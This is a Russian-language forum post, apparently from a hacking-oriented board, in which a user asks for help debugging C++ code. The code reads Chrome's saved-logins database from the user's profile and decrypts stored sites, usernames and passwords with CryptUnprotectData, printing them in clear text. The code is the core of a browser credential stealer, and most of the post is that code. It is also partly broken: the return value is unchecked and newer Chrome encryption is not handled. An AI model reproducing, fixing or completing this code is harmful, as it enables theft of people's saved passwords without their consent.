WhoopZee
New member
- 25.08.2020
 
- 1
 
- 0
 
Здравствуйте,  решил сделать дешифратор sqlite3, для примера взял допустим пароли от хрома. И появилась проблема, а конкретно в функции  CryptUnprotectData . Типа вот выделяется память под pbData для зашифрованного пароля encrypted далее для CryptUnprotectData  мы передаём данные с encrypted и decrypted, под decrypted память должна выделится внутри CryptUnprotectData , так как мы длину не знаем. В итоге CryptUnprotectData ничего не делает и выдает ошибку 0xcccccc
	
	
	
	
		
Библиотеки я приложил.
Мб Chrome поменял метод шифрования....
				
			
		C++:
	
	// ConsoleApplication2.cpp : Этот файл содержит функцию "main". Здесь начинается и заканчивается выполнение программы.
//
#pragma comment(lib, "crypt32.lib")
#include <iostream>
#include <sstream>
#include <algorithm>
#include <windows.h>
#include <Wincrypt.h>
#include "sqlite3.h"
class Chrome {
public:
    std::stringstream getPasswords(sqlite3* db) {
        std::string sql = "SELECT action_url, username_value, password_value FROM logins";
        std::stringstream dump(std::string(""));
        sqlite3_stmt* pStmt;
        int rc;
        rc = sqlite3_prepare(db, sql.c_str(), -1, &pStmt, 0);
        if (rc != SQLITE_OK) {
            dump << "statement failed rc = " << rc;
            return dump;
        }
        rc = sqlite3_step(pStmt);
        while (rc == SQLITE_ROW) {
            dump << sqlite3_column_text(pStmt, 0) << std::endl;
            dump << (char*)sqlite3_column_text(pStmt, 1) << std::endl;
            DATA_BLOB encryptedPass, decryptedPass;
            encryptedPass.cbData = (DWORD)sqlite3_column_bytes(pStmt, 2);
            encryptedPass.pbData = (byte*)malloc((int)encryptedPass.cbData);
            memcpy(encryptedPass.pbData, sqlite3_column_blob(pStmt, 2), (int)encryptedPass.cbData);
            CryptUnprotectData(
                &encryptedPass,
                NULL,
                NULL,
                NULL,
                NULL,
                0,
                &decryptedPass);
            char* password = (char*)decryptedPass.pbData;
            while (isprint(*password)) {
                dump << *password;
                password++;
            }
            dump << std::endl;
            free(encryptedPass.pbData);
            rc = sqlite3_step(pStmt);
        }
        rc = sqlite3_finalize(pStmt);
        return dump;
    }
};
int main() {
    sqlite3* db;
    std::stringstream dump;
    std::string appData = getenv("APPDATA");
    std::string path = appData + "/../Local/Google/Chrome/User Data/Default/Login Data";
    std::replace(appData.begin(), appData.end(), '\\', '/');
    if (sqlite3_open(path.c_str(), &db)) {
        std::cout << "Can't open database";
        return 0;
    }
    Chrome ste = Chrome();
    dump = ste.getPasswords(db);
    std::cout << dump.str();
    sqlite3_close(db);
    return 0;
}
	Библиотеки я приложил.
Мб Chrome поменял метод шифрования....